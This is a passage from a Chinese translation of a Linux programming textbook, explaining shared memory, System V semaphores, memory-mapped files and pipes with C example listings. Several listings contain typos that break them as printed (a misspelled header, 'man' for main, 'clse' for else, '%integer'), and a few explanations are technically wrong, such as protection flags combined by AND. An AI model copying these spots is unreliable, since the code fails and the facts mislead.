出状态。这可以算是最简单的进程间通信方法,但毋庸置疑,它绝不是是最强大的一种。第 三章中所提供的通信机制,对父进程而言,除了通过设置命令行参数和环境变量之外,并没 有提供任何的与子进程通信的方法,同样,对于子进程而言,也只有退出代码这唯一一种向 父进程返回信息的方法。这些通信机制不允许进程与正在运行中的子进程通信,更不可能允 许两个没有派生关系的进程之间自由地对话。 本章介绍的进程间通信机制则完全解除了这些限制。我们将展示供“父子”进程、“无 关”进程甚至是分别运行在不同主机的进程之间进行通信的多种方式。 进程间通信(Interprocss communication, IPC)是在不同进程之间传递数据的方法。例如, 互联网浏览器可以向服务器发送一个请求,随后服务器会传回 HTML 信息。这样的数据传 递通常是通过一种功能类似电话线路连接的套接字来完成的。另外一个例子,你可以用 ls | lpr 这个命令将一个目录下的文件名打印出来。Shell 程序会创建一个 ls 进程和一个 lpr 进程,然后用一个“管道(用 | 符号表示)”将它们连接起来。管道为这两个进程提供了一 种单向通信的渠道。这个例子中,由 ls 进程向管道写入信息,而 lpr 进程则从管道读取。 在本章中,我们将讨论五种不同的进程间通信机制: · 共享内存允许两个进程通过对特定内存地址的简单读写来完成通信过程。 · 映射内存与共享内存的作用相同,不过它需要关联到文件系统中的一个文件上。 · 管道允许从一个进程到另一个关联进程之间的顺序数据传输。 · FIFO 与管道相似,但是因为 FIFO 对应于文件系统中的一个文件,无关的进程也 可以完成通信。 · 套接字允许无关的进程、甚至是运行在不同主机的进程之间相互通信。 这些进程间通信机制(IPC)可以按以下标准进行区分: · 通信对象是否限制为相互关联的进程(即是否有共同的父进程),或者限制为共享 同一个文件系统的进程,还是可以为连接到同一个网络中的不同主机上的进程。 · 通信中的一个进程是否限制为仅能读取或者写入数据。 · 允许参加通信的进程的总数。 · 通信进程是否直接在通信机制(IPC)中得到同步——例如,读取数据的进程会等 待直到有数据到达时开始读取。 本章中,我们不再讨论那些只能进行有限次数的进程间通信机制,例如通过子进程的退 出代码进行通信的方式等。 5.1 共享内存 共享内存是进程间通信中最简单的方式之一。共享内存允许两个或更多进程访问同一块 内存,就如同 malloc() 函数向不同进程返回了指向同一个物理内存区域的指针。当一个 进程改变了这块地址中的内容的时候,其它进程都会察觉到这个更改。 5.1.1 快速本地通信 因为所有进程共享同一块内存,共享内存在各种进程间通信方式中具有最高的效率。访 问共享内存区域和访问进程独有的内存区域一样快,并不需要通过系统调用或者其它需要切 www.AdvancedLinuxProgramming.com 80 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 入内核的过程来完成。同时它也避免了对数据的各种不必要的复制。 因为系统内核没有对访问共享内存进行同步,你必须提供自己的同步措施。例如,在数 据被写入之前不允许进程从共享内存中读取信息、不允许两个进程同时向同一个共享内存地 址写入数据等。解决这些问题的常用方法是通过使用信号量进行同步。信号量的使用将在下 一节中介绍。不过,我们的程序中只有一个进程访问了共享内存,因此在集中展示了共享内 存机制的同时,我们避免了让代码被同步逻辑搞得混乱不堪。 5.1.2 内存模型 要使用一块共享内存,进程必须首先分配它。随后需要访问这个共享内存块的每一个进 程都必须将这个共享内存绑定到自己的地址空间中。当完成通信之后,所有进程都将脱离共 享内存,并且由一个进程释放该共享内存块。 理解 Linux 系统内存模型可以有助于解释这个绑定的过程。在 Linux 系统中,每个进程 的虚拟内存是被分为许多页面的。这些内存页面中包含了实际的数据。每个进程都会维护一 个从内存地址到虚拟内存页面之间的映射关系。尽管每个进程都有自己的内存地址,不同的 进程可以同时将同一个内存页面映射到自己的地址空间中,从而达到共享内存的目的。第八 章“Linux 系统调用”中第八节“mlock 族:锁定物理内存”将对内存页面做深入的探讨。 分配一个新的共享内存块会创建新的内存页面。因为所有进程都希望共享对同一块内存 的访问,只应由一个进程创建一块新的共享内存。再次分配一块已经存在的内存块不会创建 新的页面,而只是会返回一个标识该内存块的标识符。一个进程如需使用这个共享内存块, 则首先需要将它绑定到自己的地址空间中。这样会创建一个从进程本身虚拟地址到共享页面 的映射关系。当对共享内存的使用结束之后,这个映射关系将被删除。当再也没有进程需要 使用这个共享内存块的时候,必须有一个(且只能是一个)进程负责释放这个被共享的内存 页面。 所有共享内存块的大小都必须是系统页面大小的整数倍。系统页面大小指的是系统中单 个内存页面包含的字节数。在 Linux 系统中,内存页面大小是 4KB,不过你仍然应该通过调 用 getpagesize 获取这个值。 5.1.3 分配 进程通过调用 shmget(SHared Memory GET,获取共享内存)来分配一个共享内存块。 该函数的第一个参数是一个用来标识共享内存块的键值。彼此无关的进程可以通过指定同一 个键以获取对同一个共享内存块的访问。不幸的是,其它程序也可能挑选了同样的特定值作 为自己分配共享内存的键值,从而产生冲突。用特殊常量 IPC_PRIVATE 作为键值可以保证 系统建立一个全新的共享内存块。 该函数的第二个参数指定了所申请的内存块的大小。因为这些内存块是以页面为单位进 行分配的,实际分配的内存块大小将被扩大到页面大小的整数倍。 第三个参数是一组标志,通过特定常量的按位或操作来 shmget。这些特定常量包括: · IPC_CREAT:这个标志表示应创建一个新的共享内存块。通过指定这个标志,我 们可以创建一个具有指定键值的新共享内存块。 · IPC_EXCL:这个标志只能与 IPC_CREAT 同时使用。当指定这个标志的时候, 如果已有一个具有这个键值的共享内存块存在,则 shmget 会调用失败。也就是说, 这个标志将使线程获得一个“独有”的共享内存块。如果没有指定这个标志而系统 中存在一个具有相通键值的共享内存块,shmget 会返回这个已经建立的共享内存 块,而不是重新创建一个。 · 模式标志(Mode flags):这个值由 9 个位组成,分别表示属主、属组和其它用户 www.AdvancedLinuxProgramming.com 81 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 对该内存块的访问权限。其中表示执行权限的位将被忽略。指明访问权限的一个简 单办法是利用<sys/stat.h>中指定,并且在手册页第二节stat条目中说明了的 常量指定 1。例如,S_IRUSR和S_IWUSR分别指定了该内存块属主的读写权限, 而 S_IROTH和S_IWOTH则指定了其它用户的读写权限。 下面例子中 shmget 函数创建了一个新的共享内存块(当 shm_key 已被占用时则获取 对一个已经存在共享内存块的访问),且只有属主对该内存块具有读写权限,其它用户不可 读写。 int segment_id = shmget (shm_key, getpagesize (), IPC_CREAT | S_IRUSR| S_IWUSR ); 如果调用成功,shmget 将返回一个共享内存标识符。如果该共享内存块已经存在,系 统会检查访问权限,同时会检查该内存块是否被标记为等待摧毁状态。 5.1.4 绑定和脱离 要让一个进程获取对一块共享内存的访问,这个进程必须先调用 shmat(SHared Memory Attach,绑定到共享内存)。将 shmget 返回的共享内存标识符 SHMID 传递给这个 函数作为第一个参数。该函数的第二个参数是一个指针,指向你希望用于映射该共享内存块 的进程内存地址;如果你指定 NULL 则 Linux 会自动选择一个合适的地址用于映射。第三个 参数是一个标志位,包含了以下选项: · SHM_RND 表示第二个参数指定的地址应被向下靠拢到内存页面大小的整数倍。 如果你不指定这个标志,你将不得不在调用 shmat 的时候手工将共享内存块的大 小按页面大小对齐。 · SHM_RDONLY 表示这个内存块将仅允许读取操作而禁止写入。 如果这个函数调用成功则会返回绑定的共享内存块对应的地址。通过 fork 函数创建的 子进程同时继承这些共享内存块;如果需要,它们可以主动脱离这些共享内存块。 当一个进程不再使用一个共享内存块的时候应通过调用 shmdt(SHared Memory DeTach,脱离共享内存块)函数与该共享内存块脱离。将由 shmat 函数返回的地址传递给 这个函数。如果当释放这个内存块的进程是最后一个使用该内存块的进程,则这个内存块将 被删除。对 exit 或任何 exec 族函数的调用都会自动使进程脱离共享内存块。 5.1.5 控制和释放共享内存块 调用 shmctl("SHared Memory ConTroL",控制共享内存)函数会返回一个共享内存 块的相关信息。同时 shmctl 允许程序修改这些信息。该函数的第一个参数是一个共享内存 块标识。 要获取一个共享内存块的相关信息,则为该函数传递 IPC_STAT 作为第二个参数,同 时传递一个指向一个 struct shmid_ds 对象的指针作为第三个参数。 要删除一个共享内存块,则应将 IPC_RMID 作为第二个参数,而将 NULLL 作为第三 个参数。当最后一个绑定该共享内存块的进程与其脱离时,该共享内存块将被删除。 你应当在结束使用每个共享内存块的时候都使用 shmctl 进行释放,以防止超过系统所 允许的共享内存块的总数限制。调用 exit 和 exec 会使进程脱离共享内存块,但不会删除 这个内存块。 www.AdvancedLinuxProgramming.com 82 1 这些权限位与用于控制文件权限的相同。10.3 节“文件系统权限”对它们做了更多的介绍。 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 要查看其它有关共享内存块的操作的描述,请参考 shmctl 函数的手册页。 5.1.6 示例程序 代码列表 5.1 中的程序展示了共享内存块的使用。 代码列表 5.1 (shm.c) 尝试共享内存 #include <stdoi.h> #include <sys/shm.h> #include <sys/stat.h> int main () { int segment_id; char* shared_memory; struct shmid_ds shmbuffer; int segment_size; const int shared_segment_size = 0x6400; /* 分配一个共享内存块 */ segment_id = shmget (IPC_PRIVATE, shared_segment_size, IPC_CREAT | IPC_EXCL | S_IRUSR | S_IWUSR ); /* 绑定到共享内存块 */ shared_memory = (char*) shmat (segment_id, 0, 0); printf ("shared memory attached at address %p\n", shared_memory); /* 确定共享内存的大小 */ shmctl (segment_id, IPC_STAT, &shmbuffer); segment_size = shmbuffer.shm_segsz; printf ("segment size: %d\n", segment_size); /* 在共享内存中写入一个字符串 */ sprintf (shared_memory, "Hello, world."); /* 脱离该共享内存块 */ shmdt (shared_memory); /* 重新绑定该内存块 */ shared_memory = (char*) shmat (segment_id, (void*) 0x500000, 0); printf ("shared memory reattached at address %p\n", shared_memory); /* 输出共享内存中的字符串 */ printf ("%s\n", shared_memory); /* 脱离该共享内存块 */ shmdt (shared_memory); www.AdvancedLinuxProgramming.com 83 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 /* 释放这个共享内存块 */ shmctl (segment_id, IPC_RMID, 0); return 0; } 5.1.7 调试 使用 ipcs 命令可用于查看系统中包括共享内存在内的进程间通信机制的信息。指定-m 参数以获取有关共享内存的信息。例如,以下的示例表示有一个编号为 1627649 的共享内存 块正在使用中: % ipcs -m ------ Shared Memory Segments -------- key shmid owner perms bytes nattch status 0x00000000 1627649 user 640 25600 0 如果这个共享内存块在程序结束后没有被删除而是被错误地保留下来,你可以用 ipcrm 命令删除它。 % ipcrm shm 1627649 5.1.8 优点和缺点 共享内存块提供了在任意数量的进程之间进行高效双向通信的机制。每个使用者都可以 读取写入数据,但是所有程序之间必须达成并遵守一定的协议,以防止诸如在读取信息之前 覆写内存空间等竞争状态的出现。不幸的是,Linux 无法严格保证提供对共享内存块的独占 访问,甚至是在你通过使用 IPC_PRIVATE 创建新的共享内存块的时候也不能保证访问的独 占性。 同时,多个使用共享内存块的进程之间必须协调使用同一个键值。 5.2 进程信号量 前一节中我们提到过,当访问共享内存的时候,进程之间必须相互协调以避免竞争状态 的出现。正如我们在第四章“线程”中 4.4.5 节“线程信号量”里说过的,信号量是一个可 用于同步多线程环境的计数器。Linux 还提供了一个另外一个用于进程间同步的信号量实现 (通常它被称为进程信号量,有时也被称为 System V 信号量)。进程信号量的分配、使用和 释放方法都与共享内存块相似。尽管单个信号量足以解决大多数问题,进程信号量是按组 (set)分配的。本节中,我们将展示如何利用各种 Linux 提供的各种系统调用来实现一个具 有两种状态的信号量。 www.AdvancedLinuxProgramming.com 84 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 5.2.1 分配和释放 与用于分配、释放共享内存的 shmget 和 shmctl 类似,系统调用 semget 和 semctl 负责分配、释放信号量。调用 semget 函数并传递如下参数:一个用于标识信号量组的键值, 该组中包含的信号量数量和与 shmget 所需的相同的权限位标识。该函数返回的是信号量组 的标识符。你可以通过指定正确的键值来获取一个已经存在的信号量的标识符;这种情况下, 传递的信号量组的容量可以为 0。 信号量会一直保存在系统中,甚至所有使用它们的进程都退出后也不会自动被销毁。最 后一个使用信号量的进程必须明确地删除所使用的信号量组,来确保系统中不会有太多闲置 的信号量组,从而导致无法创建新的信号量组。可以通过调用 semctl 来删除信号量组。调 用时的四个参数分别为信号量组的标识符,组中包含的信号量数量、常量 IPC_RMID 和一 个 union semun 类型的任意值(被忽略)。调用进程的有效用户 id 必须与分配这个信号量 组的用户 id 相同(或者调用进程为 root 权限亦可)。与共享内存不同,删除一个信号量组 会导致 Linux 立即释放资源。 列表 5.2 展示了用于分配和释放一个二元信号量的函数。 代码列表 5.2 (sem_all_deall.c)分配和释放二元信号量 #include <sys/ipc.h> #include <sys/sem.h> #include <sys/types.h> /* 我们必须自己定义 semun 联合类型。 */ union semun { int val; struct semid_ds *buf; unsigned short int *array; struct seminfo *__buf; }; /* 获取一个二元信号量的标识符。如果需要则创建这个信号量 */ int binary_semaphore_allocation (key_t key, int sem_flags) { return semget (key, 1, sem_flags); } /* 释放二元信号量。所有用户必须已经结束使用这个信号量。如果失败,返回 -1 */ int binary_semaphore_deallocate (int semid) { union semun ignored_argument; return semctl (semid, 1, IPC_RMID, ignored_argument); } www.AdvancedLinuxProgramming.com 85 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 5.2.2 初始化信号量 分配与初始化信号量是两个相互独立的操作。以 0 为第二参数,以 SETALL 为第三个 参数调用 semctl 可以对一个信号量组进行初始化。第四个参数是一个 semun 对象,且它 的 array 字段指向一个 unsigned short 数组。数组中的每个值均用于初始化该组中的一 个信号量。 列表 5.3 展示了初始化一个二元信号量的函数 代码列表 5.3 (sem_init.c) 初始化一个二元信号量 #include <sys/types.h> #include <sys/ipc.h> #include <sys/sem.h> /* 我们必须自己定义 union semun。*/ union semun { int val; struct semid_ds *buf; unsigned short int *array; struct seminfo *__buf; }; /* 将一个二元信号量初始化为 1。*/ int binary_semaphore_initialize (int semid) { union semun argument; unsigned short values[1]; values[0] = 1; argument.array = values; return semctl (semid, 0, SETALL, argument); } 5.2.3 等待和投递操作 每个信号量都具有一个非负的值,且信号量支持等待和投递操作。系统调用 semop 实 现了这两个操作。它的第一个参数是信号量的标识符,第二个参数是一个包含 struct sembuf 类型元素的数组;这些元素指明了你希望执行的操作。第三个参数是这个数组的长 度。 结构体 sembuf 中包含如下字段: · sem_num 将要执行操作的信号量组中包含的信号量数量 www.AdvancedLinuxProgramming.com 86 · sem_op 是一个指定了操作类型的整数 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 · 如果 sem_op 是一个正整数,则这个值会立刻被加到信号量的值上 如果 sem_op 为负,则将从信号量值中减去它的绝对值。如果这将使信号量的值小 于零,则这个操作会导致进程阻塞,直到信号量的值至少等于操作值的绝对值(由 其它进程增加它的值)。 · 如果 sem_op 为 0,这个操作会导致进程阻塞,直到信号量的值为零才恢复。 · sem_flg 是一个符号位。指定 IPC_NOWAIT 以防止操作阻塞;如果该操作本应 阻塞,则 semop 调用会失败。如果为 sem_flg 指定 SEM_UNDO,Linux 会在进 程退出的时候自动撤销该次操作。 列表 5.4 展示了二元信号量的等待和投递操作。 代码列表 5.4 (sem_pv.c)二元信号量的等待和投递操作 #include <sys/types.h> #include <sys/ipc.h> #include <sys/sem.h> /* 等待一个二元信号量。阻塞直到信号量的值为正,然后将其减 1 */ int binary_semaphore_wait (int semid) { struct sembuf operations[1]; /* 使用(且仅使用)第一个信号量 */ operations[0].sem_num = 0; /* 减一 */ operations[0].sem_op = -1; /* 允许撤销操作 */ operations[0].sem_flg = SEM_UNDO; return semop (semid, operations, 1); } /* 对一个二元信号量执行投递操作:将其值加一。 这个操作会立即返回。*/ int binary_semaphore_post (int semid) { struct sembuf operations[1]; /* 使用(且仅使用)第一个信号量 */ operations[0].sem_num = 0; /* 加一 */ operations[0].sem_op = 1; /* 允许撤销操作 */ operations[0].sem_flg = SEM_UNDO; www.AdvancedLinuxProgramming.com 87 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 return semop (semid, operations, 1); } 指定 SEM_UNDO 标志解决当出现一个进程仍然持有信号量资源时被终止这种特殊情 况时可能出现的资源泄漏问题。当一个进程被有意识或者无意识地结束的时候,信号量的值 会被调整到“撤销”了所有该进程执行过的操作后的状态。例如,如果一个进程在被杀死之 前减小了一个信号量的值,则该信号量的值会增长。 5.2.4 调试信号量 命令 ipcs -s 可以显示系统中现有的信号量组的相关信息。而 ipcrm sem 命令可以 从命令行删除一个信号量组。例如,要删除标识符为 5790517 的信号量组则应运行以下命令: % ipcrm sem 5790517 5.3 映射内存 映射内存提供了一种使多个进程通过一个共享文件进行通信的机制。尽管可以将映射内 存想象为一个有名字的共享内存,你始终应当记住两者之间有技术层面的区别。映射内存既 可以用于进程间通信,也可以作为一种访问文件内容的简单方法。 映射内存在一个文件和一块进程地址空间之间建立了联系。Linux 将文件分割成内存分 页大小的块并复制到虚拟内存中,因此进程可以在自己的地址空间中直接访问文件内容。这 样,进程就可以以读取普通内存空间的方法来访问文件的内容,也可以通过写入内存地址来 修改文件的内容。这是一种方便的访问文件的方法。 你可以将映射内存想象成这样的操作:分配一个足够容纳整个文件内容的缓存,将全部 文件内容读入缓存,并且(当缓存内容被修改过后)最后将缓存写回文件。Linux 替你完成 文件读写的操作。 除了用于进程间通信,还有其它一些情况会使用映射内存。其中一些用途在 5.3.5 节 “mmap 的其它用途”中进行了讨论。 5.3.1 映射一个普通文件 要将一个普通文件映射到内存空间,应使用 mmap(映射内存,“Memory MAPped”,读 作“em-map”)。函数 mmap 的第一个参数指明了你希望 Linux 将文件映射在进程地址空间中 的位置;传递 NULL 指针允许 Linux 系统自动选择起始地址。第二个参数是映射内存块的长 度,以字节为单位。第三个参数指定了对被映射内存区域的保护,由 PROT_READ、 PROT_WRITE 和 PROT_EXEC 三个标志位按位与操作得到。三个值分别标识读、写和执 行权限。第四个参数是一个用于指明额外选项的标志值。第五个参数应传递一个已经打开的、 指向被映射文件的句柄。最后一个参数指明了文件中被映射区域相对于文件开始位置的偏移 量。通过选择适当的开始位置和偏移量,你可以选择将文件的全部内容或某个特定部分映射 到内存中。 标志值可以由以下常量进行按位或操作进行组合得到: · MAP_FIXED——如果你指定这个标志,Linux 会强制使用你提供的地址进行映射, 而不只是将该地址作为一个对映射地址的参考进行选择。该地址必须按内存分页边 界对齐。 · MAP_PRIVATE——对映射区域内存的写操作不会直接导致对被绑定文件的修改, www.AdvancedLinuxProgramming.com 88 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 而是修改该进程持有的一份该文件的私有副本。其它进程不会发现这些写操作。这 个模式不能与 MAP_SHARED 同时使用。 · MAP_SHARED——对内存的写入操作会立刻反应在被映射的文件中,而不会被系 统缓冲。将映射内存作为一种 IPC 手段时应使用这个标志。这个模式不能与 MAP_PRIVATE 同时使用。 如果调用成功,mmap 会返回一个指向被映射内存区域的起点的指针。如果调用失败则 返回常量 MAP_FAILED。 当你不再使用一块映射内存的时候应调用 munmap 进行释放。将被映射内存区域的开始 地址和内存块的长度作为参数调用这个函数。Linux 会在进程结束的时候自动释放进程中映 射的内存区域。 5.3.2 示例程序 让我们看两个利用映射内存对文件进行读写的程序。列表 5.5 中的第一个程序会产生一 个随机数并写入一个映射到内存的文件中。列表 5.6 中的第二个程序则会从文件中读取并输 出这个值,然后将该值的两倍写回到文件中。两个程序均接受一个指明被映射文件的参数。 代码列表 5.5 (mmap-write.c)将一个随即数写入内存映射文件 #include <stdlib.h> #include <stdio.h> #include <fcntl.h> #include <sys/mman.h> #include <sys/stat.h> #include <time.h> #include <unistd.h> #define FILE_LENGTH 0x100 /* 在从 low 到 high 的范围中返回一个平均分布的随机数 */ int random_range (unsigned const low, unsigned const high) { unsigned const range = high - low + 1; return low + (int) (((double) range) * rand() / (RAND_MAX + 1.0)); } int man (int argc, char* const argv[]) { int fd; void* file_memory; /* 为随机数发生器提供种子 */ srand (time (NULL)); /* 准备一个文件使之长度足以容纳一个无符号整数 */ www.AdvancedLinuxProgramming.com 89 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 fd = open (argv[1], O_RDWR | O_CREAT, S_IRUSR | S_IWUSR); lseek (fd, FILE_LENGTH+1, SEEK_SET); write (fd, "", 1); lseek (fd, 0, SEEK_SET); /* 创建映射内存 */ file_memory = mmap (0, FILE_LENGTH, PROT_WRITE, MAP_SHARED, fd, 0); close (fd); /* 将一个随机整数写入映射的内存区域 */ sprintf((char*) file_memory, "%d\n", random_range (-100, 100)); /* 释放内存块(不是必需,因为程序即将退出而映射内存将被自动释放) */ munmap (file_memory, FILE_LENGTH); return 0; } 上面的 mmap-write 程序打开了一个指定的文件(如果不存在则创建它)。传递给 open 的第二个参数表明以读写模式创建文件。(译者注:原文为第三个参数,疑为笔误。)因为我 们不知道文件的长度,我们利用 lseek 确保文件具有足够容纳一个整数的长度,然后将游 标移动到文件的开始位置。 程序在将文件映射到内存之后随即关闭了文件描述符,因为我们不再需要通过这个描述 符操作文件。随后程序将一个随机整数写入映射内存,从而也写入了文件内容本身;之后程 序取消了内存映射。对 munmap 的调用不是必须的,因为 Linux 会在程序结束的时候自动取 消全部内存映射。 代码列表 5.6 (mmap-read.c)从文件映射内存中读取一个整数,然后将其倍增 #include <stdlib.h> #include <stdio.h> #include <fcntl.h> #include <sys/mman.h> #include <sys/stat.h> #include <unistd.h> #define FILE_LENGTH 0x100 int main (int argc, char* const argv[]) { int fd; void* file_memory; int integer; /* 打开文件 */ www.AdvancedLinuxProgramming.com 90 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 fd = open (argv[1], O_RDWR, S_IRUSR | S_IWUSR); /* 创建映射内存 */ file_memory = mmap (0, FILE_LENGTH, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); close (fd); /* 读取整数,输出,然后将其倍增 */ sscanf (file_memory, "%d", %integer); printf ("value: %d\n", integer); sprintf ((char*) file_memory, "%d\n", 2 * integer); /* 释放内存(非必须,因为程序就此结束)*/ munmap (file_memory, FILE_LENGTH); return 0; } 上面的 mmap-read 程序从文件中读取一个整数值,将其倍增并写回到文件中。首先它 以读写模式打开文件。因为我们确信文件足以容纳一个整数,我们不必像前面的程序那样使 用 lseek。程序从内存中用 sscanf 读取这个值,然后用 sprintf 将值写回内存中。 这里是某次运行这个程序的结果。它将文件/tmp/integer-file 映射到内存。 % ./mmap-write /tmp/integer-file % cat /tmp/integer-file 42 % ./mmap-read /tmp/integer/file value: 42 % cat /tmp/integer-file 84 我们可以看到,程序并没有调用 write 就将数字写入了文件,同样也没有用 read 就 将数字读回。注意,仅出于演示的考虑,我们将数字转换为字符串进行读写(通过使用 sprintf 和 sscanf)——一个内存映射文件的内容并不要求为文本格式。你可以在其中存 取任意二进制数据。 5.3.3 对文件的共享访问 不同进程可以将同一个文件映射到内存中,并借此进行通信。通过指定 MAP_SHARED 标志,所有对映射内存的写操作都会直接作用于底层文件并且对其它进程可见。如果不指定 这个标志,Linux 可能在将修改写入文件之前进行缓存。 除了使用 MAP_SHARED 标志,你也可以通过调用 msync 强制要求 Linux 将缓存的内 容写入文件。它的前两个参数与 munmap 相同,用于指明一个映射内存块。第三个参数可以 接受如下标志位: · MS_ASYNC——计划一次更新,但是这次更新未必在调用返回之前完成。 · MS_SYNC——立刻执行更新;msync 调用会导致进程阻塞直到更新完成。 MS_SYNC 和 MS_ASYNC 不能同时使用。 · MS_INVALIDATE——其它所有进程对这个文件的映射都会失效,因此它们可以 www.AdvancedLinuxProgramming.com 91 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 看到被修改过的值。 例如,要更新一块从 mem_addr 开始的、长度为 mem_length 的共享内存块需要使用 如下调用: msync (mem_addr, mem_length, MS_SYNC | MS_INVALIDATE); 与使用共享内存一样,使用文件映射内存的程序之间必须遵循一定的协议以避免竞争状 态的发生。例如,可以通过一个信号量协调多个进程一块内存映射文件的并发访问。除此之 外你还可以使用第八章 8.3 节“fcntl:锁定与其它文件操作”中介绍的方法对文件进行读 写锁定。 5.3.4 私有映射 在 mmap 中指定 MAP_PRIVATE 可以创建一个写时复制(copy-on-write)区域。所有对 映射区域内存内容的修改都仅反映在当前程序的地址空间中;其它进程即使映射了同一个文 件也不会看到这些变化。与普通情况下直接写入所有进程共享的页面中的行为不同,指定 MAP_PRIVATE 进行映射的进程只将改变写入一份私有副本中。该进程随后执行的所有读写 操作都针对这个副本进行。 5.3.5 mmap 的其它用途。 系统调用 mmap 还可以用于除进程间通信之外的其它用途。一个常见的用途就是取代 read 和 write。例如,要读取一个文件的内容,程序可以不再显式地读取文件并复制到内 存中,而是将文件映射到地址空间然后通过内存读写操作来操作文件内容。对于一些程序而 言这样更方便,也可能具有更高的效率。 许多程序都使用了这样一个非常强大的高级技巧:将某种数据结构(例如各种 struct 结构体的实例)直接建立在映射内存区域中。在下次调用过程中,程序将这个文件映射回内 存中,此时这些数据结构都会恢复到之前的状态。不过需要注意的是,这些数据结构中的指 针都会失效,除非这些指针都指向这个内存区域内部并且这个内存区域被特意映射到与之前 一次映射位置完全相同的地址。 另一个相当有用的技巧是将设备文件/dev/zero 映射到内存中。这个文件,将在第六 章“设备” 6.5.2 节“/dev/zero”中介绍到的,将自己表现为一个无限长且内容全部为 0 字节的文件。对/dev/zero 执行的写入操作将被丢弃,因此由它映射的内存区域可以用作 任何用途。自定义的内存分配过程经常通过映射/dev/zero 以获取整块经过初始化的内存。 5.4 管道 管道是一个允许单向信息传递的通信设备。从管道“写入端”写入的数据可以从“读取 端”读回。管道是一个串行设备;从管道中读取的数据总保持它们被写入时的顺序。一般来 说,管道通常用于一个进程中两个线程之间的通信,或用于父子进程之间的通信。 在 shell 中,| 符号用于创建一个管道。例如,下面的程序会使 shell 创建两个子进程, 一个运行 ls 而一个运行 less: % ls | less Shell 同时还会创建一个管道,将运行 ls 的子进程的标准输出连接到运行 less 的子进 程的标准输入。由 ls 输出的文件名将被按照与发送到终端时完全相同的顺序发送到 less 的标准输入。 管道的数据容量是有限的。如果写入的进程写入数据的速度比读取进程消耗数据的速度 www.AdvancedLinuxProgramming.com 92 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 更快,且管道无法容纳更多数据的时候,写入端的进程将被阻塞,直到管道中出现更多的空 间为止。换言之,管道可以自动同步两个进程。 5.4.1 创建管道 要创建一个管道,请调用 pipe 命令。提供一个包含两个 int 值的数组作为参数。Pipe 命令会将读取端文件描述符保存在数组的第 0 个元素而将写入端文件描述符保存在第 1 个 元素中。举个例子,考虑如下代码: int pipe_fds[2]; int read_fd; int write_fd; pipe (pipe_fds); read_fd = pipe_fds[0]; write_fd = pipe_fds[1]; 对文件描述符 write_fd 写入的数据可以从 read_fd 中读回。 5.4.2 父子进程之间的通信 通过调用 pipe 得到的文件描述符只在调用进程及子进程中有效。一个进程中的文件描 述符不能传递给另一个无关进程;不过,当这个进程调用 fork 的时候,文件描述符将复制 给新创建的子进程。因此,管道只能用于连接相关的进程。 列表 5.7 中的程序中,fork 产生了一个子进程。子进程继承了指向管道的文件描述符。 父进程向管道写入一个字符串,然后子进程将字符串读出。实例程序将文件描述符利用 fdopen 函数转换为 FILE *流。因为我们使用文件流而不是文件描述符,我们可以使用包括 printf 和 scanf 在内的标准 C 库提供的高级 I/O 函数。 代码列表 5.7 (pipe.c)通过管道与子进程通信 #include <stdlib.h> #include <stdio.h> #include <unistd.h> /* 将 COUNT 份 MESSAGE 的副本写入 STREAM,每次写入之后暂停 1 秒钟 */ void writer (const char* message, int count, FILE* stream) { for (; count > 0; --count) { /* 将消息写入流,然后立刻发送 */ fprintf (stream, "%s\n", message); fflush (stream); /* 休息,休息一会儿 */ sleep (1); www.AdvancedLinuxProgramming.com 93 } 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 } /* 从流中读取尽可能多的随机字符串 */ void reader (FILE* stream) { char buffer[1024]; /* 从流中读取直到流结束。 fgets 会不断读取直到遇见换行或文件结束符。 */ while (!feof (stream) && !ferror (stream) && fgets (buffer, sizeof (buffer), stream) != NULL) fputs (buffer, stdout); } int main () { int fds[2]; pid_t pid; /* 创建一个管道。代表管道两端的文件描述符将被放置在 fds 中。*/ pipe (fds); /* 创建子进程。*/ pid = fork (); if (pid == (pid_t) 0) { FILE* stream; /* 这里是子进程。关闭我们得到的写入端文件描述符副本。*/ close (fds[1]); /* 将读取端文件描述符转换为一个 FILE 对象然后从中读取消息 */ stream = fdopen (fds[0], "r"); reader (stream); close (fds[0]); } clse { /* 这是父进程。*/ FILE* stream; /* 关闭我们的读取端文件描述符副本。*/ close (fds[0]); /* 将写入端文件描述符转换为一个 FILE 对象然后写入数据。*/ stream = fdopen (fds[1], "w"); writer ("Hello, world.", 5, stream); close (fds[1]); } return 0; www.AdvancedLinuxProgramming.com 94 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 } 在 main 函数开始的时候,fds 被声明为一个包含两个整型变量的数组。对 pipe 的调 用创建了一个管道,并将读写两个文件描述符存放在这个数组中。程序随后创建一个子进程。 在关闭了管道的读取端之后,父进程开始向管道写入字符串。而在关闭了管道的写入端之后, 子进程开始从管道读取字符串。 注意,在 writer 函数中,父进程在每次写入操作之后通过调用 fflush 刷新管道内容。 否则,字符串可能不会立刻被通过管道发送出去。 当你调用 ls | less 这个命令的时候会出现两次 fork 过程:一次为 ls 创建子进程, 一次为 less 创建子进程。两个进程都继承了这些指向管道的文件描述符,因此它们可以通 过管道进行通信。如果希望不相关的进程互相通信,应该用 FIFO 代替管道。FIFO 将在 5.4.5 节“FIFO”中进行介绍。 5.4.3 重定向标准输入、输出和错误流 你可能经常希望创建一个子进程,并将一个管道的一端设置为它的标准输入或输出。利 用 dup2 系统调用你可以使一个文件描述符等效于另外一个。例如,下面的命令可以将一个 进程的标准输入重定向到文件描述符 fd: dup2 (fd, STDIN_FILENO); 符号常量 STDIN_FILENO 